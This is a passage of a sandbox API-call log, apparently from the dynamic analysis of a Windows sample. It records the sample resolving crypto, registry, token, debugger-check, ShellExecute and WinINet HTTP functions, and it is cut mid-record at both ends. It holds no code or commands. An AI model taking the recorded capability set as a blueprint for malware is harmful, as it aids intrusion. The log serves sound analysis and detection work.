],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32"
,"module_address":"0x75ab0000","function_address":"0x75ac1946","function_name":"GetString
TypeW"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace
":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel3
2","module_address":"0x75ab0000","function_address":"0x75ac17b9","function_name":"LCMap
StringW"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrac
e":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel
32","module_address":"0x75ab0000","function_address":"0x75ac11f8","function_name":"GetCur
```

```
rentProcessId"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"sta
cktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"
kernel32","module_address":"0x75ab0000","function_address":"0x75ac110c","function_name":"
GetTickCount"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"sta
cktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"
kernel32","module_address":"0x75ab0000","function_address":"0x75ac1725","function_name":"
QueryPerformanceCounter"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","
status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal"
:0,"module":"kernel32","module_address":"0x75ab0000","function_address":"0x75ac4a15","func
tion_name":"HeapCreate"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","st
atus":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0
,"module":"kernel32","module_address":"0x75ab0000","function_address":"0x75ac3511","functi
on_name":"GetFileType"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","stat
us":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"
module":"kernel32","module_address":"0x75ab0000","function_address":"0x75ac1916","function
_name":"InitializeCriticalSectionAndSpinCount"},"time":1700322041.109,"tid":2280,"flags":{}},{"c
ategory":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"ar
guments":{"ordinal":0,"module":"kernel32","module_address":"0x75ab0000","function_address":
"0x75accb11","function_name":"SetHandleCount"},"time":1700322041.109,"tid":2280,"flags":{}},{
"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"
arguments":{"ordinal":0,"module":"kernel32","module_address":"0x75ab0000","function_address
":"0x75ac51cb","function_name":"GetEnvironmentStringsW"},"time":1700322041.109,"tid":2280,
"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return
_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x75ab0000","functi
on_address":"0x75ac51b3","function_name":"FreeEnvironmentStringsW"},"time":1700322041.1
09,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAd
dress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x75ab
0000","function_address":"0x75ac14b1","function_name":"GetModuleFileNameA"},"time":17003
22041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProce
dureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"
0x75ab0000","function_address":"0x75ac1450","function_name":"GetCurrentThreadId"},"time":1
700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGet
ProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_addr
ess":"0x75ab0000","function_address":"0x75ac11a9","function_name":"SetLastError"},"time":17
00322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetPr
ocedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_addres
s":"0x75ab0000","function_address":"0x75ac3567","function_name":"TlsFree"},"time":17003220
41.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedur
eAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x
75ab0000","function_address":"0x75ac14fb","function_name":"TlsSetValue"},"time":170032204
1.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedure
Address","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x7
5ab0000","function_address":"0x75ac11e0","function_name":"TlsGetValue"},"time":1700322041
.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureA
ddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x75a
b0000","function_address":"0x75ac4995","function_name":"TlsAlloc"},"time":1700322041.109,"ti
d":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress
","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x75ab0000
","function_address":"0x75ac447b","function_name":"IsValidCodePage"},"time":1700322041.10
9,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddr
```

ess","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x75ab0
000","function_address":"0x75aed191","function_name":"GetOEMCP"},"time":1700322041.109,
"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddre
ss","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x75ab00
00","function_address":"0x75ac179c","function_name":"GetACP"},"time":1700322041.109,"tid":
2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","r
eturn_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x75ab0000","f
unction_address":"0x75ac13f0","function_name":"InterlockedDecrement"},"time":1700322041.1
09,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAd
dress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x75ab
0000","function_address":"0x75ac1400","function_name":"InterlockedIncrement"},"time":170032
2041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProced
ureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0
x75ab0000","function_address":"0x75ac5171","function_name":"GetCPInfo"},"time":170032204
1.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedure
Address","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x7
5ab0000","function_address":"0x75ac3490","function_name":"GetModuleHandleW"},"time":170
0322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetPro
cedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address
":"0x75ab0000","function_address":"0x75ac521d","function_name":"IsProcessorFeaturePresent
"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api
":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","mo
dule_address":"0x75ab0000","function_address":"0x77472561","function_name":"HeapReAlloc"
},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api"
:"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","mod
ule_address":"0x75ab0000","function_address":"0x75ac5189","function_name":"GetCommandLi
neA"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],
"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","
module_address":"0x75ab0000","function_address":"0x75ac5639","function_name":"HeapSetInf
ormation"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktra
ce":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kern
el32","module_address":"0x75ab0000","function_address":"0x75ac4d28","function_name":"Get
StartupInfoW"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stac
ktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"k
ernel32","module_address":"0x75ab0000","function_address":"0x7745e046","function_name":"
HeapAlloc"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktr
ace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"ker
nel32","module_address":"0x75ab0000","function_address":"0x75ac14c9","function_name":"He
apFree"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace
":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel3
2","module_address":"0x75ab0000","function_address":"0x75ac588e","function_name":"RaiseE
xception"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrac
e":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel
32","module_address":"0x75ab0000","function_address":"0x75ac519b","function_name":"GetSt
dHandle"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrac
e":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel
32","module_address":"0x75ab0000","function_address":"0x75ae7717","function_name":"Unha
ndledExceptionFilter"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status"
:1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"mo
dule":"kernel32","module_address":"0x75ab0000","function_address":"0x75ac4a45","function_n

```
ame":"IsDebuggerPresent"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","s
tatus":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":
0,"module":"kernel32","module_address":"0x75ab0000","function_address":"0x75add7ea","funct
ion_name":"TerminateProcess"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"syste
m","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordi
nal":0,"module":"kernel32","module_address":"0x75ab0000","function_address":"0x7746304a","f
unction_name":"HeapSize"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","s
tatus":1,"stacktrace":[],"api":"LdrLoadDll","return_value":0,"arguments":{"basename":"USER32","
module_address":"0x75190000","flags":0,"module_name":"USER32.dll","stack_pivoted":0},"time
":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrG
etProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"USER32","module_ad
dress":"0x75190000","function_address":"0x751b899d","function_name":"FrameRect"},"time":17
00322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetPr
ocedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"USER32","module_addre
ss":"0x75190000","function_address":"0x751a90d3","function_name":"SystemParametersInfoW
"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api
":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"USER32","mo
dule_address":"0x75190000","function_address":"0x751b25cf","function_name":"DrawTextW"},"
time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"
LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"USER32","modul
e_address":"0x75190000","function_address":"0x751a72c4","function_name":"GetDC"},"time":1
700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGet
ProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"USER32","module_addr
ess":"0x75190000","function_address":"0x751a7d2f","function_name":"GetSystemMetrics"},"tim
e":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"Ldr
GetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"USER32","module_
address":"0x75190000","function_address":"0x751a7446","function_name":"ReleaseDC"},"time"
:1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrG
etProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"USER32","module_ad
dress":"0x75190000","function_address":"0x751b0eb6","function_name":"FillRect"},"time":1700
322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrLoadDll
","return_value":0,"arguments":{"basename":"GDI32","module_address":"0x75bd0000","flags":0,
"module_name":"GDI32.dll","stack_pivoted":0},"time":1700322041.109,"tid":2280,"flags":{}},{"cat
egory":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arg
uments":{"ordinal":0,"module":"GDI32","module_address":"0x75bd0000","function_address":"0x
75be4f17","function_name":"CreateSolidBrush"},"time":1700322041.109,"tid":2280,"flags":{}},{"c
ategory":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"ar
guments":{"ordinal":0,"module":"GDI32","module_address":"0x75bd0000","function_address":"0
x75be6001","function_name":"GetDIBits"},"time":1700322041.109,"tid":2280,"flags":{}},{"categor
y":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"argumen
ts":{"ordinal":0,"module":"GDI32","module_address":"0x75bd0000","function_address":"0x75be8
5d4","function_name":"GetObjectA"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"sy
stem","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"
ordinal":0,"module":"GDI32","module_address":"0x75bd0000","function_address":"0x75be51a2"
,"function_name":"SetBkMode"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"syste
m","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordi
nal":0,"module":"GDI32","module_address":"0x75bd0000","function_address":"0x75be522d","fu
nction_name":"SetTextColor"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system",
"status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal
":0,"module":"GDI32","module_address":"0x75bd0000","function_address":"0x75be5f49","functi
```

on_name":"CreateCompatibleBitmap"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"
system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":
{"ordinal":0,"module":"GDI32","module_address":"0x75bd0000","function_address":"0x75be4f70
","function_name":"SelectObject"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"syst
em","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"or
dinal":0,"module":"GDI32","module_address":"0x75bd0000","function_address":"0x75bed0e8","f
unction_name":"CreateFontA"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system
","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordin
al":0,"module":"GDI32","module_address":"0x75bd0000","function_address":"0x75be5689","fun
ction_name":"DeleteObject"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","
status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal"
:0,"module":"GDI32","module_address":"0x75bd0000","function_address":"0x75be4de0","functi
on_name":"GetDeviceCaps"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","
status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal"
:0,"module":"GDI32","module_address":"0x75bd0000","function_address":"0x75be54f4","functio
n_name":"CreateCompatibleDC"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"syste
m","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordi
nal":0,"module":"GDI32","module_address":"0x75bd0000","function_address":"0x75be58b3","fu
nction_name":"DeleteDC"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","st
atus":1,"stacktrace":[],"api":"LdrLoadDll","return_value":0,"arguments":{"basename":"ADVAPI32"
,"module_address":"0x76e10000","flags":0,"module_name":"ADVAPI32.dll","stack_pivoted":0},"t
ime":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"L
drGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"ADVAPI32","mod
ule_address":"0x76e10000","function_address":"0x76e1df06","function_name":"CryptDestroyHa
sh"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"
api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"ADVAPI32"
,"module_address":"0x76e10000","function_address":"0x76e1c9dc","function_name":"AccessC
heck"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[
],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"ADVAPI3
2","module_address":"0x76e10000","function_address":"0x76e37a0b","function_name":"MapGe
nericMask"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktr
ace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"AD
VAPI32","module_address":"0x76e10000","function_address":"0x76e1c786","function_name":"
DuplicateToken"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"st
acktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":
"ADVAPI32","module_address":"0x76e10000","function_address":"0x76e242ac","function_nam
e":"OpenThreadToken"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","statu
s":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"m
odule":"ADVAPI32","module_address":"0x76e10000","function_address":"0x76e1a8ed","functio
n_name":"GetFileSecurityW"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system",
"status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal
":0,"module":"ADVAPI32","module_address":"0x76e10000","function_address":"0x76e37763","f
unction_name":"CryptGetKeyParam"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"s
ystem","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{
"ordinal":0,"module":"ADVAPI32","module_address":"0x76e10000","function_address":"0x76e5
3354","function_name":"CryptSetHashParam"},"time":1700322041.109,"tid":2280,"flags":{}},{"cat
egory":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arg
uments":{"ordinal":0,"module":"ADVAPI32","module_address":"0x76e10000","function_address"
:"0x76e1ded6","function_name":"CryptHashData"},"time":1700322041.109,"tid":2280,"flags":{}},{
"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"

```
arguments":{"ordinal":0,"module":"ADVAPI32","module_address":"0x76e10000","function_addre
ss":"0x76e19a32","function_name":"SetTokenInformation"},"time":1700322041.109,"tid":2280,"fl
ags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_v
alue":0,"arguments":{"ordinal":0,"module":"ADVAPI32","module_address":"0x76e10000","functio
n_address":"0x76e24284","function_name":"OpenProcessToken"},"time":1700322041.109,"tid":
2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","r
eturn_value":0,"arguments":{"ordinal":0,"module":"ADVAPI32","module_address":"0x76e10000",
"function_address":"0x76e1deee","function_name":"CryptCreateHash"},"time":1700322041.109,
"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddre
ss","return_value":0,"arguments":{"ordinal":0,"module":"ADVAPI32","module_address":"0x76e10
000","function_address":"0x76e1df1e","function_name":"CryptGetHashParam"},"time":1700322
041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedu
reAddress","return_value":0,"arguments":{"ordinal":0,"module":"ADVAPI32","module_address":"
0x76e10000","function_address":"0x76e21456","function_name":"RegSetValueExW"},"time":17
00322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetPr
ocedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"ADVAPI32","module_addr
ess":"0x76e10000","function_address":"0x76e2486f","function_name":"RegQueryValueExA"},"ti
me":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"L
drGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"ADVAPI32","mod
ule_address":"0x76e10000","function_address":"0x76e21433","function_name":"RegSetValueE
xA"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"
api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"ADVAPI32"
,"module_address":"0x76e10000","function_address":"0x76e3a482","function_name":"RegDelet
eValueA"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrac
e":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"ADVA
PI32","module_address":"0x76e10000","function_address":"0x76e213e9","function_name":"Reg
CreateKeyExA"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"st
acktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":
"ADVAPI32","module_address":"0x76e10000","function_address":"0x76e24887","function_nam
e":"RegOpenKeyExA"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status
":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"mo
dule":"ADVAPI32","module_address":"0x76e10000","function_address":"0x76e2461d","function
_name":"RegCloseKey"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","stat
us":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"
module":"ADVAPI32","module_address":"0x76e10000","function_address":"0x76e19179","functi
on_name":"CryptAcquireContextA"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"sy
stem","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"
ordinal":0,"module":"ADVAPI32","module_address":"0x76e10000","function_address":"0x76e1df
68","function_name":"CryptGenRandom"},"time":1700322041.109,"tid":2280,"flags":{}},{"categor
y":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"argumen
ts":{"ordinal":0,"module":"ADVAPI32","module_address":"0x76e10000","function_address":"0x7
6e1e0c4","function_name":"CryptReleaseContext"},"time":1700322041.109,"tid":2280,"flags":{}},
{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,
"arguments":{"ordinal":0,"module":"ADVAPI32","module_address":"0x76e10000","function_addr
ess":"0x76e37733","function_name":"CryptEncrypt"},"time":1700322041.109,"tid":2280,"flags":{}
},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":
0,"arguments":{"ordinal":0,"module":"ADVAPI32","module_address":"0x76e10000","function_ad
dress":"0x76e3774b","function_name":"CryptSetKeyParam"},"time":1700322041.109,"tid":2280,
"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return
_value":0,"arguments":{"ordinal":0,"module":"ADVAPI32","module_address":"0x76e10000","func
```

tion_address":"0x76e1c4d2","function_name":"CryptImportKey"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"ADVAPI32","module_address":"0x76e10000","function_address":"0x76e1c4ba","function_name":"CryptDestroyKey"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrLoadDll","return_value":0,"arguments":{"basename":"SHELL32","module_address":"0x75e60000","flags":0,"module_name":"SHELL32.dll","stack_pivoted":0},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"SHELL32","module_address":"0x75e60000","function_address":"0x75e73c71","function_name":"ShellExecuteW"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"SHELL32","module_address":"0x75e60000","function_address":"0x75ee5708","function_name":"SHGetFolderPathW"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrLoadDll","return_value":0,"arguments":{"basename":"api-ms-win-downlevel-advapi32-l1-1-0","module_address":"0x76eb0000","flags":0,"module_name":"api-ms-win-downlevel-advapi32-l1-1-0.dll","stack_pivoted":0},"time":1700322041.156,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"api-ms-win-downlevel-advapi32-l1-1-0","module_address":"0x76eb0000","function_address":"0x7746f8f9","function_name":"RegisterTraceGuidsW"},"time":1700322041.156,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"api-ms-win-downlevel-advapi32-l1-1-0","module_address":"0x76eb0000","function_address":"0x76e242ac","function_name":"OpenThreadToken"},"time":1700322041.156,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"api-ms-win-downlevel-advapi32-l1-1-0","module_address":"0x76eb0000","function_address":"0x76e24284","function_name":"OpenProcessToken"},"time":1700322041.156,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"NtClose","return_value":0,"arguments":{"handle":"0x000000d0"},"time":1700322041.172,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"api-ms-win-downlevel-advapi32-l1-1-0","module_address":"0x76eb0000","function_address":"0x76e24066","function_name":"AllocateAndInitializeSid"},"time":1700322041.172,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"api-ms-win-downlevel-advapi32-l1-1-0","module_address":"0x76eb0000","function_address":"0x76e1dea4","function_name":"CheckTokenMembership"},"time":1700322041.172,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"NtClose","return_value":0,"arguments":{"handle":"0x000000d0"},"time":1700322041.172,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"NtClose","return_value":0,"arguments":{"handle":"0x000000d4"},"time":1700322041.172,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"api-ms-win-downlevel-advapi32-l1-1-0","module_address":"0x76eb0000","function_address":"0x76e240ae","function_name":"FreeSid"},"time":1700322041.172,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"GetNativeSystemInfo","return_value":0,"arguments":{"processor_count":2},"time":1700322041.172,"tid":2280,"flags":{}},{"category":"synchronisation","status":1,"stacktrace":[],"api":"GetSystemTimeAsFileTime","return_value":0,"arguments":{},"time":1700322041.172,"tid":2280,"flags":{}

},{"category":"system","status":1,"stacktrace":[],"api":"LdrLoadDll","return_value":0,"arguments":{
"basename":"WININET","module_address":"0x75400000","flags":0,"module_name":"WININET.d
ll","stack_pivoted":0},"time":1700322041.172,"tid":2280,"flags":{}},{"category":"system","status":1
,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"modu
le":"WININET","module_address":"0x75400000","function_address":"0x754ed336","function_na
me":"InternetConnectA"},"time":1700322041.172,"tid":2280,"flags":{}},{"category":"system","stat
us":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"
module":"WININET","module_address":"0x75400000","function_address":"0x7546f69a","functio
n_name":"InternetSetOptionA"},"time":1700322041.172,"tid":2280,"flags":{}},{"category":"system
","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordin
al":0,"module":"WININET","module_address":"0x75400000","function_address":"0x75439ba9","f
unction_name":"InternetOpenA"},"time":1700322041.172,"tid":2280,"flags":{}},{"category":"syste
m","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordi
nal":0,"module":"WININET","module_address":"0x75400000","function_address":"0x75436829",
"function_name":"InternetCrackUrlA"},"time":1700322041.172,"tid":2280,"flags":{}},{"category":"s
ystem","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{
"ordinal":0,"module":"WININET","module_address":"0x75400000","function_address":"0x75475
b7f","function_name":"InternetCloseHandle"},"time":1700322041.172,"tid":2280,"flags":{}},{"cate
gory":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"argu
ments":{"ordinal":0,"module":"WININET","module_address":"0x75400000","function_address":"0
x7550fa9d","function_name":"HttpOpenRequestA"},"time":1700322041.172,"tid":2280,"flags":{}},
{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,
"arguments":{"ordinal":0,"module":"WININET","module_address":"0x75400000","function_addre
ss":"0x7546dc3e","function_name":"InternetQueryOptionA"},"time":1700322041.172,"tid":2280,"f
lags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_
value":0,"arguments":{"ordinal":0,"module":"WININET","module_address":"0x75400000","functio
n_address":"0x7550f671","function_name":"HttpSendRequestExA"},"time":1700322041.172,"tid
":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress",
